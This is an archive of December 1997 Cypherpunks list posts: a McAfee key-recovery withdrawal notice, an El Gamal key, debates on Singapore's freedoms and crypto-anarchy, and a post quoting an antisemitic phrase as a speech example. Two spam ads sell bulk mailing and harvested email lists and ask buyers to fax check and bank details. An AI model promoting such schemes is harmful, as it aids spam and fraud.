82F4B568F5258FEEDA63934377806CB54C0FE5ABCE628919D6D23D018779939ECD1364E4010854FD6A034855597CB551D17CCFBE4EA84EB21FB3E1C9EED6746B623A3E2903EEBDB1CE8AA9ECD3CC739B9A3F5481E4A27A5CCCACDA83C768D2448E5CFC0C4BD60E2EF9FCB177DC44CBB2A5052F799B9E20966B398DC36B1569F0A931E16A3A2EA224254163E656C62D2959D503409984608A9E0AB890DBF9EC08E8481BB04FD1D3875654F2778F270619C1637E41CA6C271C0189612430777E004F22005FCBAD0EA29D34A0B9FD4C07C947B433F9AB5874D8E901DC226786037312D5ED8BB7B11B83711D5001BC484AD842E1798382F17BD34707E0BB3337BA12 From KPeters8765 at mailexcite.com Sun Dec 7 10:31:18 1997 From: KPeters8765 at mailexcite.com (KPeters8765 at mailexcite.com) Date: Sun, 7 Dec 1997 10:31:18 -0800 (PST) Subject: Mail Your Message to Millions Message-ID: <9811744758.CLA998002@mailexcite.com> Tired of NOT making money on the internet? Did you REALLY believe that ALL you had to do was: Put up a web page somewhere in Cyberspace with beautiful graphics, the latest Java and some frames; Advertise in a few free classifieds; Act like an expert in newsgroups; since you're not supposed to advertise in them; And, customers were going to beat a path to your door. If you believed that- BOY, have I got some swampland in Florida for you! If you want to make money on the internet, YOU'D better be PROACTIVE! YOU'D better go after business like you MEAN IT! YOU'D better send some E-MAIL - Lots of it! And YOU'D better tell your story as much as you can, as often as you can, to whomever you can! WELCOME TO THE REAL WORLD. Bulk e-mail works! If you know how to write an ad, identify a need, and fullfill it with your product, you can make money on the Internet EVEN on a very limited budget. This form of advertising has been proven MUCH MORE EFFECTIVE than other forms of advertising because people read their e-mail. And, the message will wait in the recipient's e-mail box until it is read. Your message is SEEN not buried! Your business deserves a piece of the fastest growing industry in the U.S.- THE HOME-BASED BUSINESS INDUSTRY ( $427 billion in annual sales). Internet sales are projected to be over $10 billion by the year 2000, up from $300 million in 1994. We've got the addresses YOU need. A Web site alone, posting through newsgroups and registering with a few search engines while placing a few classifieds just won't work. What good is a Web page no one knows is there? Bulk e-mailing is the lowest-cost method of generating qualified sales leads, On average, a solo direct (snail) mail promotion would cost around $500.00 per thousand, whereas bulk e-mail costs pennies per thousand. No known form of media advertising can compete with the low cost of bulk e-mail. Our e-mail lists are maintained on state-of-the-art computers and are updated daily to assure you the very latest names for your mailings. Bulk Email Works!! Put your sales message in front of responsive buyers. Our lists are compiled from active and willing on-line purchasers and entrepreneurs. THESE ARE SERIOUS CUSTOMERS LOOKING FOR SERIOUS OFFERS! These BUYERS want to read and hear more about your products/services. Our list is updated daily with fresh and new email addresses. Even if you receive 1/10 of 1% response for mailing 1,000,000 email addresses you would receive 1000 replies !!!! How much money would you make? Save TIME and MONEY! Make money on the seat of your Pants! Focus entirely on your sales. Let us do your mailing for you at these INCREDIBLY LOW RATES: _____YES- mail my message to 50,000 responsive buyers for $49.95 _____YES- mail my message to 100,000 responsive buyers for $89.95 _____YES- mail my message to 250,000 responsive buyers for $199.95 _____YES- mail my message to 500,000 responsive buyers for $359.95 _____YES- mail my message to 1,000,000 responsive buyers for $679.95 _____YES- mail my message to 2,000,000 responsive buyers for $1299.95 *************** WE SPECIALIZE IN TARGETED MAILINGS - CALL FOR DETAILS*************** _____YES- mail my message to 5,000 targeted buyers for $79.95 _____YES- mail my message to 10,000 targeted buyers for $119.95 _____YES- mail my message to 15,000 targeted buyers for $154.95 _____YES- mail my message to 20,000 targeted buyers for $184.95 Type of business or people you need to target _____________________________________ ___________________________________________________________________________ We MAIL, MAIL, MAIL- YOU SELL, SELL, SELL. REMEMBER: Get 1/10 of 1% and from a mailing af 1,000,000 email addresses and you get 1000 replies!!! Would you make any money? We take CHECKS BY FAX get our most up to date list mailed for YOU by ordering NOW!! Call 407-956-1151 to order by phone or Fax your order to 407-952-7984 Office hours are Mon-Fri 10 am - 6 pm Eastern Standard Time. Make checks or money order payable to: PICC Or mail check or money order to: Progressive Internet Communications, Co. P.O. Box 100512 Palm Bay, Florida 32910-0512 ORDER YOUR MAILING PROGRAM TODAY!! ORDER FORM ======================================================== Name___________________________________________ Address__________________________________________ City______________________State_________Zip_______ E-Mail Address____________________________________ Phone___________________________________________ Business phone____________________________________ Check Ordering info: Name( exactly as it appears on check) ______________________________________________________ Check number_______________Dollar Amount_________________ **Fraction Code(numbers that appear below check number on top right) (do not leave blank-ex:123-45/6789)__________________________ Numbers at Bottom of check(read left to right please indicate blank spaces with a space)____________________________________________ Bank Name_____________________________________________ Bank Address____________________________________________ Bank City/Bank Zip Code___________________________________ Bank phone # (if applicable)_________________________________ ****** LIMIT 1 PAGE****** * when faxing check- fill out as you would normally do (write in the dollar amount and write VOID on the check. ** Cannot process order without fraction code ***Mailings are done within 5-8 business days from the day we receive payment. ** PLEASE BE SURE TO INCLUDE A SUBJECT LINE WITH YOUR AD** **IF ORDERING FROM OUTSIDE THE US PLEASE SEND US POSTAL MONEY ORDER** From whgiii at invweb.net Sat Dec 6 21:00:08 1997 From: whgiii at invweb.net (William H. Geiger III) Date: Sun, 7 Dec 1997 13:00:08 +0800 Subject: One for the Good Guys Message-ID: <199712070455.XAA29871@users.invweb.net> -----BEGIN PGP SIGNED MESSAGE----- Well McAffe has reluctantly pulled out of KRAP. http://www.pgp.com/newsroom/na-kra.cgi - From the wording of the press release they still are unwilling to admit the error of their ways but at least they have realized the fallout from being associated with such an orginization. - -- - --------------------------------------------------------------- William H. Geiger III http://users.invweb.net/~whgiii Geiger Consulting Cooking With Warp 4.0 Author of E-Secure - PGP Front End for MR/2 Ice PGP & MR/2 the only way for secure e-mail. OS/2 PGP 2.6.3a at: http://users.invweb.net/~whgiii/pgpmr2.html - --------------------------------------------------------------- -----BEGIN PGP SIGNATURE----- Version: 2.6.3a-sha1 Charset: cp850 Comment: Registered_User_E-Secure_v1.1b1_ES000000 iQCVAwUBNIor7o9Co1n+aLhhAQL5lAP+KcogSdFYFLqczIOAiAIaXM0xhPz488VP 9/M2i3JrYq4kxg2gl4TKCIineHewGzKuEutA4xhiP5ITIlRIQ3HWPldURpi1j8RR Qil7AczrynhAvR3SY4/kyWxkLtczLlD+DedXciamAxmvD0jp0QSkez5RqzuEVCMg nJgWK1RzXmY= =MjpK -----END PGP SIGNATURE----- From rapnet at ix.netcom.com Sat Dec 6 22:51:23 1997 From: rapnet at ix.netcom.com (rapnet at ix.netcom.com) Date: Sun, 7 Dec 1997 14:51:23 +0800 Subject: 16 Million! Just Released! Message-ID: <3316270_67131480> IT WAS JUST RELEASED!! INTRODUCING...MILLIONS VOL. 1 We took a total of over 92 million email addresses from many of the touted CD's that are out there (bought them all - some were $300+)! We added the millions we had in storage to those. When we combined them all, we had in excess of 100+ million addresses in one huge file. We then ran a super "sort/de-dupe" program against this huge list. It cut the file down to less than 25 million!!! Can you believe that? It seems that most people that are selling CD's are duping the public by putting numerous files of addresses in the CD over and over. This created many duplicate addresses. They also had many program "generated" email addresses like Compuserve, MCI, ANON's, etc. This causes a tremendous amount of undeliverables, and for those that use Stealth programs, clogs up servers quickly with trash, etc. We then ran a program that contained 150+ keywords to remove addresses with vulgarity, profanity, sex-related names, postmaster, webmaster, flamer, abuse, spam, etc., etc. Also eliminated all .edu, .mil, .org, .gov, etc. After that list was run against the remaining list, it reduced it down to near 16 million addresses! So, you see, our list will save people hundreds of dollars buying all others that are out there on CD and otherwise. Using ours will be like using the 100+ million that we started with, but a lot less money and alot less time!! We also purchased Cyber-Promos ($995.00) CD. We received it just prior to finishing production work on the new CD. We had our people take a random sample of 300,000 addresses from the touted 2.9 that they advertised. We used a program that allows us to take a random sample of addresses from any list. We were able to have the program take every 9th address, thus giving us a 300,000 list of Cyber's email addresses from top to bottom. We did not clean these, but we did create 3 seperate files named cyber1.txt, cyber2.txt, & cyber3.txt of 100,000 addresses each. This will give all people that use the list a opportunity to send mail to the list before deciding if their CD is all it's hyped to be. We also included a 2+ million "Remove/Flamer" file broke into seperate files for ease of extracting and adding to your own database of removes. "You can buy from the REST or you can buy from the BEST. Your choice. _____________________________ What others are saying: "I received the CD on Friday evening. Like a kid with a new toy, I immediately started bulking out using the new email addresses. Over the course of the weekend, I emailed out over 500,000 emails and I received less than TWENTY undeliverables!! I am totally satisfied with my purchase!! Thanks Premier!!" Dave Buckley Houston, TX "This list is worth it's weight in gold!! I sent out 100,000 emails for my product and received over 55 orders! Ann Colby New Orleans, LA **************************************** HERE'S THE BOTTOM LINE Here is what you get when you order today! >> 16 Million Email Addresses... 1 per line in simple text format on a CD. Files are in lots of 100,000 (no codes needed to open files). All files are separated by domain name for your convenience. PLUS you receive a tremendous REMOVE list! AND the a sampling of CyberPromo's HOT list. >>> NOW ONLY $149.00! This price is effective for the next seven days, thereafter the price will be $199.00 so ORDER NOW! All lists are completely free of any Duplicates. We also on a continual basis, add New Names and Remove Undeliverables and Remove Requests. The result is the Cleanest Email Addresses Available Anywhere to use over and over again, for a FRACTION of the cost that other companies charge. Typical rates for acquiring email lists are from 1 cent to as high as 3 cents per email address - that's "INFORMATION HIGHWAY" ROBBERY!. Don't even hesitate on this one or you will miss out on the most effective way to market anywhere..PERIOD! If you have any further questions or to place an order by phone, please do not hesitate to call us at: 908-245-1143 To order our email package, simply print out the EZ ORDER FORM below and fax or mail it to our office today. We accept Visa, Mastercard, AMEX, Checks by Fax and Mail. _________________ EZ Order Form _____Yes! I would like to order MILLIONS Vol. 1 email addresses for only $149.00. *Please select one of the following for shipping.. ____I would like to receive my package OVERNIGHT. I'm including $15 for shipping. (outside US add an additional $25 for shipping) ____I would like to receive my package 2 DAY delivery. I'm including $10 for shipping. (outside US add an additional $25 for shipping) DATE_____________________________________________________ NAME____________________________________________________ COMPANY NAME___________________________________________ ADDRESS_________________________________________________ CITY, STATE, ZIP___________________________________________ PHONE NUMBERS__________________________________________ FAX NUMBERS_____________________________________________ EMAIL ADDRESS___________________________________________ TYPE OF CREDIT CARD: ______VISA _____MASTERCARD CREDIT CARD# __________________________________________ EXPIRATION DATE________________________________________ NAME ON CARD___________________________________________ AMOUNT $____________________ (Required) SIGNATURE:x________________________ DATE:x__________________ You may fax your order to us at: 1-615-431-7058 CHECK BY FAX SERVICES! If you would like to fax a check, paste your check below and fax it to our office along with all forms to: 1-615-431-7058 ****************************************************** ***24 HOUR FAX SERVICES*** PLEASE PASTE YOUR CHECK HERE AND FAX IT TO US AT 1-908-245-3119 ******************************************************* If You fax a check, there is no need for you to send the original check. We will draft up a new check, with the exact information from your original check. All checks will be held for bank clearance. If you feel more comfortable sending payment through the mail, please send all forms and Check or Money Order to: Rapture Narketing Inc. P.O. Box 616 Kenilworth, NJ 07033 From nobody at REPLAY.COM Sat Dec 6 23:14:00 1997 From: nobody at REPLAY.COM (Anonymous) Date: Sun, 7 Dec 1997 15:14:00 +0800 Subject: New key Message-ID: <199712070655.HAA02800@basement.replay.com> Some readers have suggested that my El Gamal key values were not chosen correctly. My previous key used a random large prime, but Schneier suggests choosing one with a guaranteed large prime factor ("Applied Cryptography", section 11.6). To correct that I offer a new El Gamal key which I will use for signing: p: F64257B7087F081772A2BAD6A942F305E8F95311394FB6F16EB94B3820DA01A756A314E98F4055F3D007C6CB43A994ADF74C648649F80C83BD65E917D4A1D350F8F5595FDC76524F3D3D8DDBCE99E1579259CDFDB8AE744FC5FC76BC83C5473061CE7CC966FF15F9BBFD915EC701AAD35B9E8DA0A5723AD41AF0BF4600582BE5F488FD584E49DBCD20B49DE49107366B336C380D451D0F7C88B31C7C5B2D8EF6F3C923C043F0A55B188D8EBB558CB85D38D334FD7C175743A31D186CDE33212CB52AFF3CE1B1294018118D7C84A70A72D686C40319C807297ACA950CD9969FABD00A509B0246D3083D66A45D419F9C7CBD894B221926BAABA25EC355E9320B3B g: E2CFFC96515A65D45B61F3E98DBD19859C7DEFAD7C43D8365363275A2C35BC09F20F68918C806AE67CBB04215E6B077EB1AF86ED71C62587C1631D1623744CFFAFDBB89F0FE95C907036F2FCB5EA3DA00E42BA8D703F75EEA69399E5541E86A89759CE55EFE2ECCD0AB73997CF9A060BD163590A4477F03E728CD0015223DFCA5533D8A7BE7E9B270827AE32EE2AB63BD8062DB91FBDB079AF416528C0AAD554835BA35B55B18EFDF76251ED00824CAD980A06E68B2D01C60FC58AC3C6C8341ADAB1490EE00F358C8BDFA3C305A4155A8DCB7B9E6A09F9102EEB407759E6DD4D10057D9C028FDCD47F269ABFC583B76A0AE7738950CABB5AD63FBC1B52958401 y: 864E4504E5DDFE2E9E96997526D020897FC24316FF9345AEF8F18AC9132DE0CED2D60D6A262BA143F68FABABBE3770CBC095D04DFDB56C93CE90F6D603D3E6B485FFE7654F600E55709352E691643D9C70AC1FFCDD8A8F6CDD0699563A260B0846C9ED756D6FFD81AB6CA4CEADA966CE19AF128D2B99771C3F1D48A72D69622A119081FD9E970CE1AF12CBAA27C565F7C2E3477EFC477CF884DC56A0753643C34DEA4A77ECC3B576DB2B167691D698422DF633D6F148E73E4AA0A573B2D61304E749157EAA563E3839E14459CE6E2BA1C193FD9B02010E91449C84EA47C842F6EE9B1040B713967267A789CC4945074332A4894C99DD910AB6D59701B256FBB6 This prime value has been chosen so that (p-1)/2 will also be prime. I will continue to use Cantsin Protocol No. 2 as before. It's good to see that others are beginning to develop tools to use this protocol. Suggestions for improvements continue to be welcomed. Monty Cantsin Editor in Chief Smile Magazine http://www.neoism.org/squares/smile_index.html http://www.neoism.org/squares/cantsin_10.htm Subject: New key To: cypherpunks at algebra.com 25BA1A9F5B9010DD8C752EDE887E9AF3 [Cantsin Protocol No. 2] 092AA1EC9926D468F8964B8EF537DDC1782A1281 8AB1C2AA1D6FC353C642984072C97D7DF6061C96 -907 907 CA9BF59CF4C8EDAA447F88F320443E47170C45F5972EC6118BA55904D71B6738E941A1F02AFD1142D29B08E9E6B7B52CE911C7E7873AB1B2429279F696DA273AD08CA934F035952346CAFC2087C581DD9075EF80F62A5F477CDE8083719057BDC0CEAAD8E76189CAB5B9E5CEA5F7FA7923EF4F8DAAA8A6A6EF13B26F56C0A64D4A894A0C4BCBD2F2C93C4C8626C2D74A2832271689EC60E4024FC1547D3CFAF78D4651DA1A203DB5F1E99E83DC381430FA6A55433EAF1031E512842FC98030D2902326C4ABD63FC598FA7E62D34C6F0D7FAD946C26E420049567147C262CD28C97AACF939588473F6CB88EEA5518EA663DD2CDEC83C869674CBF2B0078E89414 AEA9FE2E3EAD44D84F927B5A423AB9620FB76FA4390D92A1CF371D42200E45BCC629941485C5499CDE309C80E0F95EC54054963E90F605AE67CCDA415244E61A654DC319ACFB734A895E3C2B7BC30D6321FA8274E41B2B0E5B7D5CD3DD9F5C09256F8E2E2AD7698EC824F6512D6DD7E9176DDA06FE9158D8499F637D8FA61FE32E842305C5BD6043E5FCFA6FE642343B49A97568221B5EB8E51A3929D5AB95B3C270A1977A5290CD458716C56C356395267D6293E9256678216F65F7DDBA75CE01CEA1C7FE7AC58AAF6D392B68C06407EA989948D64391EF25D28F27BFB345406501F2A69EE007D13DD541145ED03542DAB58954ACE1AD2C3DF7E1FD00B9CD10 From anon at anon.efga.org Sun Dec 7 00:59:26 1997 From: anon at anon.efga.org (Anonymous) Date: Sun, 7 Dec 1997 16:59:26 +0800 Subject: No Subject Message-ID: > Since crypto-anarchy & free-market economic anarchy both do away with > centralized authorities isn't this sort of behaviour what is *expected* of > members of the community under these systems? Doesn't the fact that there is > a clear and present danger to both person and community justify these sorts > of actions? > The concept of "Free-Market-Crypto-Anarchy" doesn't jibe with the "Lynch-Mob Democracy" mentality exhibited by Gates. One of the fundamental principles of anarchy is a willingness to let others hash out their own problems, i.e. I will ignore him unless his actions impact or affect me personally/financially. It is not as if the Gates were going to be affected by the "suspects"...they had to go out of their way to interfere with someone else's pursuit of happiness. That is clearly unacceptable. The last thing we need is a deputized citizenry...talk about a police state. (I guess that would be the ultimate form of the "Policeman Inside") From harish at brokat.com.sg Sun Dec 7 01:27:46 1997 From: harish at brokat.com.sg (Harish Pillay) Date: Sun, 7 Dec 1997 17:27:46 +0800 Subject: Singapore In-Reply-To: <01bd026d$85c8c4a0$06060606@russell> Message-ID: <199712070907.RAA05005@brokat.com.sg> Hi. I am appalled at the level of informed intelligence displayed on this list by Phillip M. Hallam-Baker. > > Hallam-Baker obviously thinks that he can thwart my insightful, > >barbed diatribes against him by posting empty messages to the > >CypherPunks list, > > No, I was merely speechless. > > If you think that Singapore is a Libertarian paradise then > you are not a Libertarian. I don't doubt that Duncan is > capable of being an appologist for the Signapore regime > just as there were a lot of 'Communists' who used to fawn > over Stalin. > > The fact is that Singapore taps every telephone call, monitors > every public place and performs traffic analysis to identify > dissident communities. The fear of being identified in such > a community is a major means of suppressing dissent. I would indeed like to know what you take on a regular basis to conclude the above. Tapping phones? Monitoring public places? Analysing traffic? Whichever parallel universe that you are dwelling in in definitely not one I would like to be in. Your utterly misinformed and totally ludicrous statements above can only make me conclude that you are not serious in making it, except to respond to all the be-numbed responses by previous posters. I am a Singaporean and have lived most of my life in Singapore. I am no lapdog of the government (thank you) nor do I agree with everything the government does. If it is of any interest to you, you can go to my home page for information on dirt that I have posted about the SG govt. You can also go to many other sites all over (both within Singapore and outside) that discuss a wide array of issues, (www.sintercom.org) for example. I did come across some ill-informed post (not by Phillip though :-)) that said that there are national filters to Internet access here. Well, indeed, the top level ISPs here have choosen to use filtering proxy servers to filter out an alleged list of 100 porno sites (you can see that there is an on going URL hunt to discover these filtered sites on www.sintercom.org/hunt/rahunt.html. You should also visit www.isoc.org.sg for additional discussion on this). Having said all that, this filter list is 100% by-passable using sites such as www.anonymizer.com. Regards. -- Harish Pillay h.pillay at ieee.org Singapore *** Ask me about Linux *** http://home.pacific.net.sg/~harish From harish at brokat.com.sg Sun Dec 7 01:36:34 1997 From: harish at brokat.com.sg (Harish Pillay) Date: Sun, 7 Dec 1997 17:36:34 +0800 Subject: Singapore In-Reply-To: Message-ID: <199712070918.RAA05254@brokat.com.sg> Peter Herngaard shaped the electrons to read ... > If the German people desired to abolish the Radikalenerlass they could > do so simply by changing their goverment precisely as U.S. citizens could > abolish use of capital punishment against minors. > Is there any difference? > Finally, it's unfair to lump Germany, whose privacy laws are better than > the Danish, in with a dictatorial police state like Singapore. "Dictatorial police state"? I take it that you are well informed. Statements such as yours do not warrant a response as you are so totally wrong that no amount of rational discussion can change your viewpoint - or can it? > In Germany you can in fact criticize the goverment without risk of > prosecution for seditious libel, that you cannot in Singapore. You *can* critise the SG govt. The idiots who claim to be the SG govt are however very sensitive (i.e. have very thin skins) to anyone who makes false criticisms. That is the way they have choosen to play the game. The SG govt would not allow say the National Enquirer to publish stuff that attack the govt especially if none of it is backed up with facts. We are on a fine line here. In the US, the general principle is that once you are in the public domain, you are fair game. Anything can be thrown at you. Here, however, that is not the accepted rule-of-thumb. Yes, the person may be in public domain (holding public office), but these politicians will want to make sure that what ever is out there about them or their policies are truths (partial or full as the purpose may be), but once they sense utter untruths, they run behind the courts and sue people. What I have said so far is in the ideal case. Lately, Singapore govt has become more and more tolerant to criticisms and are now willing to discuss the reasons behind the criticisms to see if there are misconceptions that can be addressed. > I also suppose that the standard for privacy protection is lower in > Singapore than in Germany. Our privacy laws are a joke. I do know that there are moves by the same govt to put into place good solid privacy laws in the next year. > Germany does not practice a blocking regime on the InterNet > similar to that Singapore does, since that would be in contrary to the > constitutional ban on censorship. Which has been circumvented by using alternate proxies or www.anonymizer.com. Check www.sintercom.org/hunt/rahunt.html for more info. > Yours sincerly Regards. -- Harish Pillay h.pillay at ieee.org Singapore *** Ask me about Linux *** http://home.pacific.net.sg/~harish From harish at brokat.com.sg Sun Dec 7 01:53:30 1997 From: harish at brokat.com.sg (Harish Pillay) Date: Sun, 7 Dec 1997 17:53:30 +0800 Subject: Singapore & Freedom In-Reply-To: <199712052343.AAA20937@basement.replay.com> Message-ID: <199712070945.RAA05974@brokat.com.sg> Anonymous shaped the electrons to read ... > > >On Thu, 4 Dec 1997, J. Lasser wrote: > > >And Singapore survives quite well being a totalitarian > >capitalist society. Sure, you can pick nits and claim that > >Singapore's not entirely capitalist, but it's more capitalist > >than this country and certainly less free, too. > > > http://cgi.pathfinder.com/netly/editorial/0,1012,266,00.html > > >In some ways, Singaporeans are more free than U.S. citizens. > >Income taxes and sales taxes are lower. Prostitution is legal. > >The government does not impose rules on whom private landlords > >can and can't rent to. Unlike some cities in the states, > >Singapore has no curfews. Being able to walk outside safely at > >night in any area of the city, even the poor excuse for the > >city's red light district, has its attractions. > > > -Declan > > I lived and worked in Singapore for 8 years. Excellent opener. I was born in Singapore and have lived here most of my life. > Singapore is not what I call a free society. Their system has many > advantages, you are pretty much free to make money providing you are doing > so in an area where the government has no interest. The Singapore > government runs many enterprises and if you happen to be their competition > they will tear you apart to get rid of the competition. The Singaporean > government tends to cater to the multinational corporations, who were their > earlier ticket to economic prosperity, and don't do a lot to encourage local > grown business other than to provide a suitable environment for business, > which is good enough on its own. Truth alert: Yes, the govt is heavily involved in the economy - for example Singapore Technologies (aerospace, silicon foundries, armaments), Sembawang Corp (shipbuilding, realestate, heavy engineering). The truth behind these companies is that about 15-30% of them are owned by the govt of Singapore's investment arm, Temasek Holdings. The rest are held by other companies (both local and foreign) as well as the general public - i.e., these are listed on the stock exchange. Indeed the govt does get into industries that it feels are critical for Singapore's survival. This is the classic Singapore Inc operating. For example, late in the last decade, there was no private company doing wafer fabicration. The Singapore Technologies company, Chartered Semiconductor started the first fab plant. No other private company wanted to do it alone but after that plant came up and became profitable (years later), there are now numerous fabs either in operation or under construction by international companies. So, yes, the govt does at times choke the entrepreneurship drive of the local population, but there are industries where the coexistence of private initiative and govt-linked companies have been possible and viable. > Singapore is a great place to do business, yours costs are > predictable, something you can not say about the surrounding > countries where corruption makes costs unpredictable. Singapore > labor is reasonably priced, well-educated, reasonably trained, > and well-disciplined - or at least they don't talk back or > complain unless you try something really stupid. Singapore > management is expensive, well-educated, but not quite as > versatile as westerners. > > Singapore is a social experiment, a group (read PAP) has gained > control and decided to mold the society into something different > than it was. This is probably a good thing as in the 50s > Singapore was a cesspool, in many ways. The story goes that you > could smell Singapore 200 miles out, in an airplane. Everything > that Singapore is today is what it was not in the 50s. > > The educational system has been engineered to produce the maximum > number of worker units. Being a small country with limited > resources (with labor being the main exportable resource) they > could not afford to have an educational system which allowed some > potential worker units to drop-out. Compare this against the > American system where you are free to succeed, or free to fail, > the choice is basically given to the citizen. In Singapore this > is not how it works, the blinders are installed early, you are > not permitted to fail to become a good productive member of the > society. In Singapore you are free, as long as you are a good > productive member of the society. Try talking back and > complaining about the system and see where that gets you? I > think they call it Woodbridge. Perhaps you need to go to Woodbridge (for the uninformed, Woodbridge is where the local mental institution is located). Let's analyze the premise of an educational system. I am a product of this system and tempered with a dose of undergrad/grad school experience in the US. Any educational system thrives to create as its output, valuable citizens who can be self-supporting and useful (label it anyway you want - worker units as you say is fine). It has been a fine balance between a fully liberal system and one that generates worker units for the most part of the last 30-35 years. The system erred to the latter. The thinking today (you see I continue to choose to live here) is that that model is flawed and needs to be tampered with. It will take 5-10 years before an increasingly liberal system is in place - an increasing thinking population that is part of the global information flow that will characterize the next centuries economies. > This social engineering may be a good thing. Look at the > benefits obtained by Singapore. In the current economic meltdown > in SE Asia Singapore is only threatened with lower growth. The > people are happy and they love their country and government, to > the average Singaporean the government can do no wrong. Most > Western governments would love to be in the same position. Not true the 2nd last statement. The population is perhaps more tolerant to failures or perhaps not informed about such because of the joke of a press we have. > There are costs associated with an engineered society of this > type. Elder Statesman Lee, he went by Harry Lee before he > learned Mandarin, is always ranting about all the good genetics > being wasted as there is a large number of educated women who > have not married and therefore are not able to reproduce. Harry > has been ranting about this for more than 10 years. In a > nutshell certain segments of the population have lost their > ability to mate. The Singapore government has initiated a > program to help educated Singaporeans find mates. Great system, > economic prosperity, but what am I supposed to do with this > thing... > > Don't forget the other good points, no guns or bullets, color > copiers are (were?) restricted, all media controlled by the > government (even Time magazine was banned), mandatory savings > program (CPF), National Service, and the government attitude of > those that are not with us are against us. Also, don't forget > that the Singaporean government has brought the Big Brother > concept to reality. As a private citizen, I cannot own a gun without a license. *I* have no problems with that. Colour (we spell it with a u) copiers are not restricted by any means. Yes, media is controlled by the govt - except for the 24 hour BBC world service radio broadcast on FM here. Banning of magazines and newspapers are there - but you can continue to get it over the net unfettered and uncensored. Any problems with the "mandatory" savings? I don't. The money is mine - I can use it almost immediately to buy stocks, pay for my home etc etc. I don't see no problem. National service - I did my time but perhaps the initial duration can be reduced from 2.5 years at age 18 but it has helped to create a population that better prepared mentally and physically to be able to defend the country if the need arises. Pray tell me how the SG govt has brought BB into reality? I love such generalizations especially from a person who claims to have lived here for 8 years. I lived in the Pacific Northwest for about 7 years and I will not make such statements. > SingMonger Interesting that you hide behind an anomymous name and you claim to be outside Singapore. I for one, will stand by my name and say that things I should say about this country of mine (warts and all) and not have to hide behind anonymity (not that I would not use anonymity ever :-)). Regards. -- Harish Pillay h.pillay at ieee.org Singapore *** Ask me about Linux *** http://home.pacific.net.sg/~harish From nobody at secret.squirrel.owl.de Sun Dec 7 02:04:50 1997 From: nobody at secret.squirrel.owl.de (Secret Squirrel) Date: Sun, 7 Dec 1997 18:04:50 +0800 Subject: Singapore Message-ID: <8cffbee92e0dc04390f8a269534a5dd2@squirrel> >Mr. Frissell asserts that Germany lacks rights >such as freedom of speech and >association. >This is not true. >The German Basic Law provides for everyone the right to freedom of speech, >religion and association. >However, Germany prohibits hate speech i.e. National Socialism and >incitement to racial, religious and national hatred. >The reason for this exception is the German history. And thus there is no true freedom of speech and such in Germany. I can either say "Fuck the Jews" or I can't. I can either say "Bill Gates can blow me" or I can't. I can either post naked pictures of myself or I can't. (And yes, this means that there is no true freedom of speech and such in the United States either.) Nice try. From nobody at secret.squirrel.owl.de Sun Dec 7 04:01:43 1997 From: nobody at secret.squirrel.owl.de (Secret Squirrel) Date: Sun, 7 Dec 1997 20:01:43 +0800 Subject: No Subject Message-ID: <7bdc5ac25d3bf0a689fc6a2cbe4cc8b4@squirrel> I think Vulis needs each of us to send ten copies of this back to him. >Tim Mayo's abysmal grammar, atrocious spelling and >feeble responses clearly identify him as a product of >the American education system. > _ > / ' > | > /><\ Tim Mayo > //[ `' ]\\ From aba at dcs.ex.ac.uk Sun Dec 7 04:56:11 1997 From: aba at dcs.ex.ac.uk (Adam Back) Date: Sun, 7 Dec 1997 20:56:11 +0800 Subject: NA/McAfee pulls out of KRAP (Re: One for the Good Guys) In-Reply-To: <199712070455.XAA29871@users.invweb.net> Message-ID: <199712071245.MAA01821@server.test.net> William Geiger writes: > Well McAffe has reluctantly pulled out of KRAP. > > http://www.pgp.com/newsroom/na-kra.cgi Well here it is, as it's pretty short: Sounds like good news to me. : Network Associates Withdraws from Key Recovery Alliance : : Network Associates made the decision today to withdraw from the Key : Recovery Alliance. The decision to withdraw has been made based on the : acquisition of Pretty Good Privacy, Inc. (PGP), announced on December : 1. : : Network Associates' decision to buy PGP was based on a commitment to : PGP's product line and the deployment of strong cryptography. : : NAI believes that although the Key Recovery Alliance is not in itself : a political organization, membership in it has unintended political : consequences that outweigh any technical benefits we may receive. Adam From ravage at ssz.com Sun Dec 7 05:56:59 1997 From: ravage at ssz.com (Jim Choate) Date: Sun, 7 Dec 1997 21:56:59 +0800 Subject: Red-necks w/ a purpose... Message-ID: <199712071403.IAA30226@einstein.ssz.com> Forwarded message: > Date: Sun, 7 Dec 1997 03:54:05 -0500 > From: Anonymous Why does your remailer strip the subject header? > > Since crypto-anarchy & free-market economic anarchy both do away with > > centralized authorities isn't this sort of behaviour what is *expected* of > > members of the community under these systems? Doesn't the fact that there is > > a clear and present danger to both person and community justify these sorts > > of actions? > > > > The concept of "Free-Market-Crypto-Anarchy" doesn't jibe with the > "Lynch-Mob Democracy" mentality exhibited by Gates. What has this to do with a couple of rednecks stopping an alleged criminal out of the goodness of their hearts? Further, what exactly are you talking about in reference to Gates? Yes, he is rich but what specificaly are you referning to in regards to his mentality and lynch-mob democracies? All government or social systems resort to lynch-mod mentatility without some sort of bill of rights or other explicit restrainer on the system. Even free-market-crypto-anarchy will devolve to this. Why do supports of free-market-crypto-anarchy ignore issues regarding excesses of their beloved systems and what kinds of checks-and-balances need to be implimented to resolve those issues? Are you really going to claim that under free-market-crypto-anarchy we have finaly found angels in the forms of men? Is your claim that had there been a free-market-cryto-anarchy these people would not have committed the crime in the first place and hence the police and the rednecks could have stayed home? Is free-market-crypto-anarchy the final solution in human conflict resolution? > One of the > fundamental principles of anarchy is a willingness to let others hash > out their own problems, i.e. I will ignore him unless his actions > impact or affect me personally/financially. This is a tenet of democracy as well. However, am I to interpret your statement to mean that no, these rednecks were out of line? If so, my question still stands. With no centralized authority of any sort and by extension no centralized police force whose job is it to stop criminals? Under a free-market-crypto-anarchy exactly how does the peace-keeping process work? > It is not as if the Gates were going to be affected by the > "suspects"...they had to go out of their way to interfere with someone > else's pursuit of happiness. That is clearly unacceptable. The last > thing we need is a deputized citizenry...talk about a police state. > (I guess that would be the ultimate form of the "Policeman Inside") If there were no police force I am sure Gates with all his money would be on the top of a lot of hit lists - just too juicy a target to pass up. The police we have now are deputized citizens. *That* happens to be one of the safety checks. What is your point? ____________________________________________________________________ | | | | | We built your fort. We will not have it used against us. | | | | John Wayne - Allegheny Uprising | | | | | | _____ The Armadillo Group | | ,::////;::-. Austin, Tx. USA | | /:'///// ``::>/|/ http://www.ssz.com/ | | .', |||| `/( e\ | | -====~~mm-'`-```-mm --'- Jim Choate | | ravage at ssz.com | | 512-451-7087 | |____________________________________________________________________| From 12733239 at mci2000.com Sun Dec 7 22:45:03 1997 From: 12733239 at mci2000.com (12733239 at mci2000.com) Date: Sun, 7 Dec 1997 22:45:03 -0800 (PST) Subject: FREE!! 